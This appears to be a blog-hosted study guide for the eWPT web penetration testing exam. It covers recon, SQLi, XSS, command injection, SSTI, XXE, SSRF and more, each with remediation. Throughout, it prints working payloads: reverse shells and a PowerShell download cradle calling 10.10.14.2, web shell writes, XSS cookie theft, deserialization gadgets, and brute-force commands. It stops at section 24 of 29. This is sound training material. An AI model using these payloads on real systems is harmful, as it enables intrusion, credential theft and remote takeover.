eWPT Exam - Guided By RedBlock

Updated 2026-07-27· 28 min read· 104 views
Share:

eWPT - Web Application Penetration Tester

eWPT Exam - Guided By RedBlock

eWPT Master Field Guide (Largest Edition) — Web Application Penetration Tester (INE / eLearnSecurity)

The in-depth build for the eWPT exam. Every vulnerability is treated as: how it works (mechanism) → how to find it (step-by-step) → payloads (with context) → how to exploit & escalate to real impact → remediation. Ends with three worked attack chains.

Exam reality: eWPT is a hands-on web engagement graded on a professional report. You pass by demonstrating real impact (turn a bug into data/shell/admin) and documenting it so it's reproducible. Proxy everything through Burp; screenshot every step; write findings as you go. ⚠️ Authorized use only. Every payload/command targets apps you own or are engaged to test. Stay in scope; retain evidence.


Table of Contents

  1. Methodology & the Testing Mindset

  2. HTTP Fundamentals & Headers

  3. curl for Web Pentesting (cookies, headers, auth, data, uploads, proxy)

  4. Information Gathering & Fingerprinting

  5. Burp Suite — Deep Workflow

  6. Authentication Attacks (incl. OAuth / SAML / JWT)

  7. Session Management

  8. Authorization & Access Control (IDOR / BOLA)

  9. SQL Injection (DB-specific, in depth)

  10. Cross-Site Scripting (XSS)

  11. Command Injection

  12. File Inclusion, Path Traversal & Upload → RCE

  13. Server-Side Template Injection (SSTI)

  14. XML External Entity (XXE)

  15. Server-Side Request Forgery (SSRF)

  16. Other Injections (LDAP, XPath, NoSQL, ORM, CRLF, Host-Header)

  17. CSRF

  18. Insecure Deserialization

  19. HTTP Request Smuggling

  20. Client-Side Attacks (CORS, Clickjacking, postMessage, WebSockets)

  21. Business Logic Flaws

  22. Web Services / API Testing (REST, GraphQL, SOAP)

  23. CMS Testing (WordPress, Joomla, Drupal)

  24. Encoding, Filtering & WAF Evasion

  25. Reporting (the deliverable)

  26. Worked Attack Chain #1 — SQLi → admin → upload → RCE

  27. Worked Attack Chain #2 — Blind SSRF → cloud metadata → account takeover

  28. Worked Attack Chain #3 — Stored XSS → admin session → CSRF → RCE

  29. Tooling Quick Reference & Glossary


1. Methodology & the Testing Mindset

Why methodology matters: web apps fail in patterns. A disciplined pass — map everything, then attack each input in each context — finds far more than random poking, and it's what turns a pile of low findings into a high-impact chain (the thing the report is graded on).

Phased flow (OWASP WSTG-aligned):

  1. Recon / mapping — fingerprint the stack; crawl every page, endpoint, parameter, cookie, and hidden field; enumerate roles.

  2. Configuration & deployment — headers, HTTP methods, exposed files (.git, .env, backups), default creds, error verbosity.

  3. Identity / Auth / Session / Authorization — logins, tokens, access control.

  4. Input-based — injection (SQLi/XSS/cmd/SSTI/…), file attacks — test every parameter in every context.

  5. Business logic & client-side — abuse intended flows; CORS/clickjacking/WS.

  6. Exploitation & impact — convert findings into data/shell/admin.

  7. Reporting.

The testing loop for any input: identify the input → determine where it lands (HTML body / attribute / JS / SQL / OS command / template / URL / header) → inject a context-breaking probe → observe response → confirm → weaponize → assess impact.

Documentation discipline: save the Burp request for every finding.

FINDING: SQLi in /product?id=
Param    : id (GET) | Type: error-based, MySQL
Payload  : id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
Impact   : full DB read -> admin creds dumped -> admin login
Evidence : screenshots/sqli-*.png ; request.txt
Fix      : parameterized queries; least-priv DB user

2. HTTP Fundamentals & Headers

Why it matters: most web attacks are just crafted HTTP requests; understanding the protocol is understanding the attack surface.

Request anatomy: method + path + version, headers, blank line, body. Methods: GET (params in URL), POST (body), PUT/DELETE (REST writes — test if enabled), OPTIONS (allowed methods), HEAD, PATCH, TRACE (cross-site tracing).

curl -X OPTIONS http://site/ -i          # Allow: header lists methods
curl -X PUT http://site/x.txt -d 'test'  # can you write a file?
curl -X TRACE http://site/ -i            # XST if reflected

Status codes & what they hint: 200 OK · 301/302 redirect (open-redirect surface) · 401 (auth required) · 403 (forbidden → try bypass) · 404 · 405 (method) · 500 (stack trace / info leak). 403 bypass playbook: path tricks (/admin/, /./admin, /%2e/admin, /admin..;/, /admin%20, /ADMIN), method swap (GETPOST), and header spoofs:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: internal

Headers to test: Cookie/Set-Cookie, Authorization (Basic/Bearer/JWT), Referer, Origin (CORS), Host (host-header injection), X-Forwarded-* (ACL/IP bypass, cache), and security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, SameSite) — missing ones are reportable findings. Cookie flags: HttpOnly (JS can't read → limits XSS cookie theft), Secure (HTTPS-only), SameSite=Lax/Strict (CSRF mitigation). Missing = finding.


3. curl for Web Pentesting (cookies, headers, auth, data, uploads, proxy)

Why curl: it's the fastest way to script/replay requests exactly, script enumeration, and reproduce a finding in the report. Master these flags — you'll use them constantly.

3.1 Essential flags

curl -s http://site/                 # -s silent (no progress bar)
curl -i http://site/                 # -i include response HEADERS in output
curl -I http://site/                 # -I HEAD request only (headers, no body)
curl -v http://site/                 # -v verbose (see the full request + response, TLS)
curl -sS http://site/ -o out.html    # -o save body to file ; -O keep remote filename
curl -k https://site/                # -k ignore TLS cert errors (self-signed labs)
curl -L http://site/                 # -L follow redirects (3xx -> final page)
curl --max-time 10 http://site/      # timeout ; -m 10 short form
curl -w "%{http_code} %{size_download} %{time_total}\n" -o /dev/null -s http://site/   # measure (blind timing!)

3.2 Cookies & sessions (the part you asked about)

# send a single cookie
curl -b "PHPSESSID=abc123" http://site/dashboard
# send multiple cookies
curl -b "PHPSESSID=abc123; role=user; lang=en" http://site/
# COOKIE JAR: save Set-Cookie responses to a file, then reuse them (keeps you logged in)
curl -c cookies.txt -d "user=admin&pass=admin" http://site/login    # -c writes the jar
curl -b cookies.txt http://site/account                             # -b reads the jar
curl -c cookies.txt -b cookies.txt http://site/next                 # read AND update the jar
# grab just the Set-Cookie header (flag check)
curl -sI http://site/ | grep -i set-cookie
# login then immediately use the session in one flow
curl -c jar.txt -s -d "user=admin&pass=P@ss" http://site/login.php >/dev/null
curl -b jar.txt -s http://site/admin/ | grep -i "welcome\|dashboard"

Notes: the cookie jar (-c/-b cookies.txt) is how you stay authenticated across scripted requests — capture the session on login, then attach it to every follow-up. Inspect the jar (cat cookies.txt) to read/modify the session values (useful for testing tampering, role=admin, etc.).

3.3 Custom headers, auth & user-agent

curl -H "User-Agent: Mozilla/5.0" http://site/
curl -H "X-Forwarded-For: 127.0.0.1" http://site/admin        # ACL/IP-spoof bypass
curl -H "Referer: http://site/login" http://site/step2         # referer checks
curl -H "Origin: http://evil.com" -I http://site/api/data       # CORS test
curl -H "Host: evil.com" http://site/reset                      # host-header injection
# HTTP Basic auth
curl -u admin:password http://site/protected
curl -H "Authorization: Basic $(echo -n admin:password | base64)" http://site/
# Bearer / JWT
curl -H "Authorization: Bearer eyJhbGc..." http://site/api/me
# multiple headers at once
curl -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" http://site/api

3.4 Sending data (GET / POST / JSON / methods)

# GET with params (URL-encode special chars)
curl -G "http://site/search" --data-urlencode "q=' OR '1'='1"
# form POST (application/x-www-form-urlencoded)
curl -d "user=admin&pass=admin" http://site/login
curl -d "id=1' UNION SELECT 1,2,3-- -" http://site/product      # inject in POST body
# JSON body
curl -X POST http://site/api/users -H "Content-Type: application/json" -d '{"role":"admin"}'
# choose the method
curl -X PUT   http://site/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json"
curl -X DELETE http://site/api/users/2
curl -X OPTIONS -i http://site/                                 # see Allow: methods
# send a raw request from a saved file (great for replaying exact Burp requests)
curl --data-binary @body.json -H "Content-Type: application/json" http://site/api

3.5 File upload (multipart) — for upload → shell testing

# upload a file the way a browser form would
curl -F "[email protected];type=image/jpeg" -b jar.txt http://site/upload
curl -F "[email protected]" -F "submit=Upload" -b jar.txt http://site/upload
# then trigger the shell
curl "http://site/uploads/shell.php?c=id"

3.6 Proxying through Burp & saving requests

curl -x http://127.0.0.1:8080 -k http://site/       # route curl THROUGH Burp (see/modify it)
curl -s http://site/ -D headers.txt -o body.html      # -D dump response headers to a file
curl --trace-ascii trace.txt http://site/             # full request/response trace for evidence

3.7 Handy pentest one-liners

# quick vhost/host-header fuzz
for h in admin internal dev; do curl -s -H "Host: $h.site" http://IP/ -o /dev/null -w "$h -> %{http_code}\n"; done
# simple param brute (blind, by response size)
for p in id user file page cmd; do curl -s "http://site/?$p=test" -o /dev/null -w "$p %{size_download}\n"; done
# time-based blind detection loop (SQLi/cmd)
curl -s -G "http://site/product" --data-urlencode "id=1' AND SLEEP(5)-- -" -w "%{time_total}\n" -o /dev/null
# download & reconstruct exposed git
git-dumper http://site/.git/ ./src

Notes: everything Burp Repeater does, curl can script — combine -b/-c (cookies), -H (headers), -d/-F (data), -x (proxy), and -w (measure) to reproduce and automate any finding.



4. Information Gathering & Fingerprinting

Goal: know the stack and enumerate the entire surface before attacking. Missed endpoints = missed findings.

Fingerprint the stack:

whatweb http://site                       # CMS/framework/server
wafw00f http://site                       # is there a WAF, which one?
curl -sI http://site                      # Server, X-Powered-By, Set-Cookie (PHPSESSID/JSESSIONID/...)
nmap -sV -p80,443,8080,8443 site

Cookie names leak the platform: PHPSESSID→PHP, JSESSIONID→Java, ASP.NET_SessionId→.NET, connect.sid→Node/Express.

Subdomain enumeration:

subfinder -d target.com -all
amass enum -passive -d target.com
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

Content discovery (directories/files):

gobuster dir -u http://site -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip,old,~
ffuf -u http://site/FUZZ -w raft-medium-directories.txt -mc 200,301,302,403 -recursion -recursion-depth 2
feroxbuster -u http://site -x php,html,txt -d 3
gobuster vhost -u http://site -w subdomains.txt         # virtual hosts on same IP

Parameter discovery (finds hidden test surface):

ffuf -u "http://site/page?FUZZ=test" -w burp-parameter-names.txt -mc 200 -fs <baseline>
# Burp "Param Miner" also brute-forces hidden params AND headers

Always check these: robots.txt, sitemap.xml, /.git/ (leaks source), .env, .DS_Store, web.config, backups (.bak/.old/~/.zip), admin panels, /api/, Swagger (/swagger.json,/api-docs), phpinfo.php.

git-dumper http://site/.git/ ./src        # reconstruct source -> read logic, find secrets
curl -s http://site/.env

Map in Burp: proxy the whole app while browsing; review the site map; note every endpoint, parameter, and which role can reach it.


5. Burp Suite — Deep Workflow

Why Burp: it's the man-in-the-middle for HTTP; every manual test flows through it.

  • Proxy — intercept & modify (browser proxy → 127.0.0.1:8080; install Burp CA for HTTPS).

  • Target / Site map — the app map; set scope so you only touch the target.

  • Repeater — send one request, tweak, resend — the core of manual testing (confirm each vuln here).

  • Intruder — automated payload injection:

    • Sniper (one param, one list), Battering ram (same payload in all positions), Pitchfork (parallel lists), Cluster bomb (all combinations — user×pass brute).

  • Sequencer — statistical randomness of session tokens.

  • Decoder / Comparer — encode/decode chains; diff two responses byte-for-byte.

  • Collaborator — out-of-band (OOB) interaction server for blind SSRF/XXE/RCE.

  • Extensions (BApp): Autorize (auto access-control testing), Param Miner, Turbo Intruder (race conditions / high-speed), JSON Web Tokens, HTTP Request Smuggler, Active Scan++, Logger++.

Canonical loop: intercept a request → Repeater → mutate one variable → read the response diff → confirm the vuln → Intruder to enumerate/exploit at scale → save request + screenshot for the report.


6. Authentication Attacks (incl. OAuth / SAML / JWT)

Mechanism: auth proves identity; flaws let you become someone else. Test login, registration, reset, "remember me", MFA, and SSO.

Credential attacks:

hydra -L users.txt -P rockyou.txt site http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"
ffuf -u http://site/login -X POST -d "user=admin&pass=FUZZ" \
  -w rockyou.txt -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid"

Username enumeration (step-by-step): submit a known-good and a known-bad username → compare the error text, HTTP code, response length, and timing. Any difference = enumeration → build a valid-user list → then spray.

Logic/response bypasses: SQL-style (admin'-- -, ' OR '1'='1), response tampering (intercept the auth response, flip "authenticated":falsetrue or a 302→200), forced-browse past login to an authenticated page, and default creds.

Password-reset abuse (common exam finding):

  • Predictable/sequential token → guess it.

  • Host-header poisoning: POST /reset with Host: evil.com → the reset email link points to evil.com?token=… → victim's click leaks the token to you.

  • User-controlled email/username param in the reset request → reset another user.

  • Token not invalidated after use / no expiry.

JWT attacks (step-by-step):

echo <jwt> | cut -d. -f2 | base64 -d          # 1) read claims (look for role/user)
jwt_tool <jwt> -X a                            # 2) alg:none — strip signature, forge claims
jwt_tool <jwt> -X k -pk public.pem             # 3) RS256->HS256 key confusion (sign with public key as HMAC secret)
jwt_tool <jwt> -C -d rockyou.txt               # 4) crack a weak HMAC secret
hashcat -m 16500 jwt.txt rockyou.txt           #    (alt cracker)

Then edit a claim ("role":"admin"), re-sign with the broken method, replay.

OAuth/SAML flaws: open/loose redirect_uri (steal the code/token by redirecting to attacker), missing state (login CSRF), token leakage via Referer; SAML signature stripping and XSW (XML Signature Wrapping), assertion replay.

Remediation: lockout + strong policy, generic errors, CSPRNG reset tokens bound to user + short TTL + single-use, MFA, verify JWT alg/signature server-side with a strong secret, strict redirect_uri allow-list + state, verify SAML signatures over the whole assertion.


7. Session Management

Mechanism: after login the app tracks you by a session identifier (cookie/token). Break the identifier → impersonate.

Tests + how:

  • Cookie flagscurl -sI | grep -i set-cookie → require HttpOnly; Secure; SameSite.

  • Token entropy — collect many tokens (Burp Sequencer); low randomness → predictable → hijack.

  • Session fixation — does the app keep the same SID before and after login? If yes: plant a SID in the victim's browser, they log in, you reuse it. Fix: rotate SID on authentication.

  • Logout/timeout — after logout, replay an old request with the old token; if it still works, invalidation is broken. Also test idle + absolute timeouts.

  • Token in URL — session IDs in query strings leak via Referer/logs/history.

  • Concurrent sessions / privilege change — token should rotate when privileges change.


8. Authorization & Access Control (IDOR / BOLA)

Mechanism: authentication says who you are; authorization says what you may touch. Broken access control lets you reach others' data (horizontal) or higher-privilege functions (vertical).

Step-by-step:

  1. Log in as low-priv user A; capture every request that references an object (id, uuid, account, order, filename).

  2. Replay each with B's identifier (or increment/guess it) → do you get B's data? → IDOR/BOLA.

  3. As A, hit admin-only endpoints directly (/admin/*, /api/admin/*) → forced browsing / vertical escalation.

  4. Test mass assignment / hidden params: add role=admin, isAdmin=true, verified=1 to profile/update requests.

GET /account?id=1001  ->  id=1002
GET /api/orders/5001  ->  /api/orders/5002
POST /admin/deleteUser  (as normal user)
PUT /api/users/1  {"role":"user"} -> {"role":"admin"}

Automate: Burp Autorize replays A's traffic with B's/no cookies and flags anything that still succeeds. Remediation: enforce object-level authorization server-side on every request; never trust client-supplied IDs/roles; deny-by-default; use unpredictable identifiers (defense-in-depth, not the fix).


9. SQL Injection (DB-specific, in depth)

Mechanism: user input is concatenated into a SQL query, so your input becomes code. Detection = make the query error or behave differently; exploitation = read/modify data or, with the right privileges, reach the OS.

Detection (step-by-step):

  1. Inject ' " ) → SQL error or 500 = candidate.

  2. Boolean-blind: id=1' AND '1'='1 (page normal) vs id=1' AND '1'='2 (page differs) → confirmed.

  3. Time-blind: id=1' AND SLEEP(5)-- - → delayed response → confirmed even with no visible output.

  4. UNION: find the column count with ORDER BY n (increment until error), then UNION SELECT matching columns; find which columns reflect.

MySQL:

id=1 ORDER BY 5-- -
id=-1 UNION SELECT 1,version(),database(),user(),5-- -
id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata-- -
id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -
id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'-- -
id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -
-- FILE privilege -> read/write files:
id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5-- -
id=-1 UNION SELECT 1,'<?php system($_GET[0]);?>',3,4,5 INTO OUTFILE '/var/www/html/s.php'-- -

MSSQL:

id=1' UNION SELECT 1,@@version,DB_NAME(),4,5-- -
id=1'; WAITFOR DELAY '0:0:5'-- -                     -- time-blind
-- enable + use xp_cmdshell for RCE (sysadmin):
id=1'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
id=1'; EXEC xp_cmdshell 'whoami'-- -

PostgreSQL:

id=1' AND 1=(SELECT 1 FROM pg_sleep(5))-- -
id=-1 UNION SELECT 1,version(),current_database(),4,5-- -
-- RCE via COPY TO/FROM PROGRAM (superuser):
id=1'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"'-- -

Oracle: append FROM dual; UNION SELECT banner,2 FROM v$version-- -; time via dbms_pipe.receive_message(('a'),5). sqlmap (confirm + automate + evade):

sqlmap -u "http://site/product?id=1" --batch --dbs
sqlmap -r request.txt --batch --level 5 --risk 3 --dbms mysql
sqlmap -u "..." -D appdb -T users -C username,password --dump
sqlmap -u "..." --os-shell                      # stacked/FILE -> shell
sqlmap -u "..." --tamper=space2comment,between,charencode   # WAF evasion

Escalation to impact: dump creds → crack (hashcat) → admin login; INTO OUTFILE/LOAD_FILEweb shell; xp_cmdshell/COPY … PROGRAMRCE. Remediation: parameterized queries / prepared statements (the real fix), least-privilege DB account, disable dangerous features (xp_cmdshell, FILE), suppress error output; a WAF is defense-in-depth only.


10. Cross-Site Scripting (XSS)

Mechanism: the app reflects/stores your input into a page without proper encoding, so the browser executes it as script in the victim's session.

Types & where they land:

  • Reflected — payload in the request appears in the immediate response (search, error).

  • Stored — payload is saved (comment, profile) and runs for every viewer (highest impact — can hit admins).

  • DOM — client-side JS writes input into a dangerous sink (innerHTML, document.write, eval, location, setTimeout(str)).

Detection (context-aware): inject a unique marker (zzq1) → find where it lands → break that context:

<script>alert(document.domain)</script>          <!-- HTML body -->
"><img src=x onerror=alert(1)>                    <!-- attribute breakout -->
'-alert(1)-'                                      <!-- inside a JS string -->
javascript:alert(1)                               <!-- href/src sink -->
{{constructor.constructor('alert(1)')()}}         <!-- AngularJS -->

Polyglot (fires across many contexts):

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Filter / CSP bypass: case (<ScRiPt>), event handlers without <script> (onerror/onload/onmouseover), HTML/URL/unicode encoding, <svg>/<math>, String.fromCharCode, eval(atob('...')); for CSP, hunt unsafe-inline, JSONP endpoints, or an allow-listed CDN you can host on. Exploitation — demonstrate impact (not just alert):

<script>new Image().src='http://10.10.14.2/c?'+document.cookie</script>   <!-- steal session if not HttpOnly -->
<script>fetch('/admin/addAdmin?u=attacker',{credentials:'include'})</script> <!-- force a privileged action -->
<script>fetch('/api/csrf').then(r=>r.text()).then(t=>fetch('/admin/op',{method:'POST',body:t,credentials:'include'}))</script> <!-- read CSRF token then act -->

Remediation: context-aware output encoding, strict CSP (no unsafe-inline), HttpOnly cookies, sanitize on input and output, avoid dangerous DOM sinks.


11. Command Injection

Mechanism: input reaches an OS shell (ping tools, converters, admin functions). Shell metacharacters let you append your own command.

; id      | id      & id      `id`      $(id)      %0a id      %26%26 id
127.0.0.1; id        127.0.0.1 && whoami        127.0.0.1|whoami

Blind (no output) → prove it: time (; sleep 5), or OOB (; curl http://<collab>/$(whoami) → check Collaborator/your server). Escalate to shell:

; bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.2/s.ps1')"

Tool: commix -u "http://site/ping?ip=127.0.0.1". Remediation: don't invoke a shell; use parameterized APIs + strict allow-lists; never concatenate user input into commands.


12. File Inclusion, Path Traversal & Upload → RCE

Mechanism: the app builds a filesystem path or include() target from user input, or accepts uploaded files it later serves/executes.

LFI / traversal (step-by-step): confirm with /etc/passwd, then pivot to reading source and to RCE.

?file=../../../../etc/passwd
?file=....//....//....//etc/passwd            # bypass naive ../ strip
?file=..%2f..%2f..%2fetc%2fpasswd            # URL-encoded
?file=/etc/passwd%00                          # null byte (old PHP)
?file=php://filter/convert.base64-encode/resource=index.php    # read source code
?file=php://filter/read=string.rot13/resource=config.php
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==  # data:// -> RCE
?page=expect://id                             # expect wrapper -> RCE

LFI → RCE techniques: log poisoning (put <?php system($_GET['c']);?> in User-Agent, then include /var/log/apache2/access.log), /proc/self/environ, PHP session files (/var/lib/php/sessions/sess_<id>), or PHP filter chains to synthesize code. RFI: ?file=http://10.10.14.2/shell.txt (needs allow_url_include=On). Upload → web shell (bypass ladder):

shell.php  ->  shell.phtml / .php5 / .phar          # blocked-extension bypass
shell.php.jpg  /  shell.php%00.jpg                  # double-extension / null
GIF89a;<?php system($_GET['c']);?>                  # magic-byte prefix (passes image check)
Content-Type: image/jpeg (change in Burp)           # MIME check bypass
upload .htaccess: "AddType application/x-httpd-php .jpg"  # make .jpg execute

Browse the uploaded shell → command exec → reverse shell. Remediation: validate by file content, store outside web root, random names, disable execution in the upload dir, disable dangerous wrappers, canonicalize/deny traversal.


13. Server-Side Template Injection (SSTI)

Mechanism: user input is embedded into a server-side template and evaluated, so template expressions become code — often a direct path to RCE.

Detect: inject math in template syntax; a computed result confirms it.

${7*7}   {{7*7}}   <%= 7*7 %>   #{7*7}    ->  49 = SSTI
${{<%[%'"}}%\                              # polyglot to force an engine-revealing error

Engine-specific RCE:

# Jinja2 (Flask/Python)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP)
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java)
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
# Velocity (Java)  #set(...) Runtime.exec
# ERB (Ruby):  <%= `id` %>        # Smarty (PHP):  {system('id')}

Tool: tplmap -u "http://site/?name=x". Remediation: never render user input as a template; use a sandboxed/logic-less engine; pass data as variables, not template source.


14. XML External Entity (XXE)

Mechanism: an XML parser with external entities enabled resolves attacker-defined entities → read files, reach internal services, or exfiltrate blindly.

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><d>&xxe;</d></root>
<!-- SSRF via XXE -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- read PHP source (base64 avoids breaking the XML) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- blind / OOB via external DTD (exfil to your server) -->
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://10.10.14.2/e.dtd"> %ext;]>

Where: XML request bodies, SOAP, and uploads parsed as XML (SVG, DOCX/XLSX, XML). Impact: file read, SSRF→metadata, OOB exfil, occasionally RCE (expect://). Remediation: disable DTDs / external-entity resolution in the parser (libxml_disable_entity_loader, safe defaults).


15. Server-Side Request Forgery (SSRF)

Mechanism: the server fetches a URL you control, so you make it request things it can reach but you can't (internal services, cloud metadata).

url=http://127.0.0.1:8080/admin                       # internal-only app
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/   # AWS temp creds
url=http://metadata.google.internal/computeMetadata/v1/   (Metadata-Flavor: Google)  # GCP
url=file:///etc/passwd                                 # file scheme
url=gopher://127.0.0.1:6379/_<redis-commands>          # protocol smuggling

Filter bypasses: http://127.1, http://0177.0.0.1, http://2130706433, http://[::1], http://localhost.attacker.com (DNS rebinding), http://[email protected], open-redirect chaining. Blind SSRF: point at Burp Collaborator; a callback confirms it even with no visible response — then infer internal reachability from timing/size differences. Impact: internal access, cloud metadata → credentials → account/cloud takeover, port scanning, protocol smuggling (gopher→Redis/SMTP). Remediation: allow-list destinations, block link-local/internal ranges, resolve+validate the host, don't echo the fetched body, enforce IMDSv2.


16. Other Injections (LDAP, XPath, NoSQL, ORM, CRLF, Host-Header)

# LDAP (login bypass — closes the filter and always-true)
user=*)(uid=*))(|(uid=*      pass=x
# XPath
' or '1'='1        ' or 1=1 or ''='
# NoSQL (MongoDB) — operator injection
username[$ne]=&password[$ne]=            {"user":{"$ne":null},"pass":{"$ne":null}}
username=admin&password[$regex]=^a        # blind, char-by-char
# CRLF injection (response splitting / header injection)
?next=%0d%0aSet-Cookie:%20role=admin
# Host-header injection (cache poisoning / reset-link poisoning)
Host: evil.com      X-Forwarded-Host: evil.com

Remediation: parameterize/escape per backend; validate types (reject objects where a string is expected — kills NoSQL operator injection); strip CR/LF; validate Host against an allow-list.


17. CSRF

Mechanism: the browser auto-sends the victim's cookies, so a state-changing request that relies only on the cookie can be forged from an attacker page. Test: is there an unpredictable anti-CSRF token? Is SameSite set? Drop/blank the token — does the request still succeed?

<form action="http://site/account/email" method="POST">
  <input name="email" value="[email protected]"></form>
<script>document.forms[0].submit()</script>
<!-- GET-based: <img src="http://site/transfer?to=att&amt=1000"> -->

Bypass weak defenses: token not tied to the session, validation only when the token is present (omit it), predictable token, SameSite gaps on top-level POST. Remediation: per-request CSRF tokens tied to the session, SameSite=Lax/Strict, re-auth for sensitive actions, check Origin/Referer.


18. Insecure Deserialization

Mechanism: the app deserializes attacker-controlled objects; with the right "gadget" classes present, that turns into code execution. Detect: serialized blobs in cookies/params — PHP (O:8:"User":...), Java (base64 rO0AB… / raw \xac\xed), .NET (AAEAAAD…), Python pickle, Node.

phpggc Monolog/RCE1 system id -b                              # PHP gadget chain (base64)
java -jar ysoserial.jar CommonsCollections5 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"' | base64 -w0

Replace the blob with the gadget, send, catch the shell. Remediation: never deserialize untrusted data; use JSON with strict schemas; sign/allow-list serialized data; patch gadget libraries.


19. HTTP Request Smuggling

Mechanism: a front-end proxy and back-end server disagree on where one request ends (conflicting Content-Length vs Transfer-Encoding), so part of your request is treated as the start of the next user's request. Classes: CL.TE (front-end uses CL, back-end uses TE), TE.CL, TE.TE (one server can be induced to ignore TE). Test: Burp HTTP Request Smuggler extension; craft a request with both headers and observe a timing delay or a poisoned follow-up response. Impact: bypass front-end access controls, capture other users' requests (creds/tokens), web-cache poisoning, response queue poisoning. Remediation: make front/back-end agree (prefer HTTP/2 end-to-end), reject requests with both CL and TE, normalize/close ambiguous requests.


20. Client-Side Attacks (CORS, Clickjacking, postMessage, WebSockets)

CORS misconfiguration: server reflects an arbitrary Origin and allows credentials.

curl -s -I http://site/api/data -H "Origin: http://evil.com" | grep -i access-control
# vulnerable if: Access-Control-Allow-Origin: http://evil.com  AND  Access-Control-Allow-Credentials: true

Exploit: attacker page does fetch('http://site/api/data',{credentials:'include'}) and reads the victim's data cross-origin. Clickjacking: missing X-Frame-Options/CSP frame-ancestors → frame the target, overlay a decoy, trick clicks into privileged actions. A framing PoC confirms it. postMessage: a message event listener that doesn't validate event.origin → an attacker frame sends a crafted postMessage to trigger sensitive client logic. WebSockets: test auth on the WS handshake; CSWSH (cross-site WebSocket hijacking) if the handshake lacks an anti-CSRF token / origin check; inject/manipulate WS messages. Remediation: strict CORS allow-list (never reflect origin with credentials), X-Frame-Options: DENY / CSP frame-ancestors 'none', validate event.origin and target origin in postMessage, authenticate WS + verify Origin.


21. Business Logic Flaws

Mechanism: no injection — you abuse intended features in unintended sequences/values. These need understanding of the app, not a payload list.

  • Price / quantity tampering: negative quantity → negative total/refund; edit price in the request; currency confusion.

  • Coupon / refund abuse: reuse one-time codes, stack discounts, refund more than paid.

  • Race conditions: fire parallel requests to double-spend a balance or single-use coupon (Burp Turbo Intruder single-packet attack).

  • Workflow bypass: jump straight to /checkout/confirm skipping payment; replay a completed step; reorder multi-step flows.

  • Parameter tampering: flip hidden fields (isAdmin, verified, userId, status). Method: map the intended flow, list its assumptions, then violate each. Remediation: enforce state, authorization, and limits server-side; idempotency + locking for money; re-validate every step.


22. Web Services / API Testing (REST, GraphQL, SOAP)

REST (OWASP API Top 10): BOLA/IDOR (top issue), broken auth, mass assignment, excessive data exposure, no rate limiting, improper method (GETPUT/DELETE).

curl -s http://site/swagger.json; curl -s http://site/api-docs        # discover the surface
curl -X GET http://site/api/users/1002 -H "Authorization: Bearer <A-token>"   # BOLA
curl -X PUT http://site/api/users/1 -H "Content-Type: application/json" -d '{"role":"admin"}'  # mass assignment

GraphQL:

curl -s http://site/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'      # introspection dumps schema
# then abuse: node(id:) IDOR, query batching, deeply-nested query DoS, field suggestions

SOAP: fetch the WSDL (?wsdl), enumerate operations, test each for auth + XXE in the XML body. Remediation: per-object authorization, disable introspection in prod, rate-limit, explicit field allow-lists, validate methods.


23. CMS Testing (WordPress, Joomla, Drupal)

wpscan --url http://site --enumerate u,p,t,vp --api-token <token>   # users, plugins, themes, vulns
wpscan --url http://site -U admin -P rockyou.txt                    # brute wp-login / xmlrpc
joomscan -u http://site
droopescan scan drupal -u http://site                                # then check Drupalgeddon CVEs

Wins: outdated core/plugin/theme with a public exploit, weak admin creds, exposed wp-config.php/backup, xmlrpc.php (brute amplification / SSRF via pingback). Turn admin → RCE via the theme/plugin editor or a malicious plugin upload. Remediation: patch core+plugins+themes, strong admin creds + MFA, disable xmlrpc.php/file editor, restrict /wp-admin.


24. Encoding, Filtering & WAF Evasion

  • Encodings: URL, double-URL (%2527), HTML entity, unicode, base64, hex — defeats naive input filters.

  • SQLi bypass: /**/ comments, mixed case (SeLeCt), inline comments (UNI/**/ON), 0xHEX literals, %09/%0a whitespace, sqlmap --tamper.

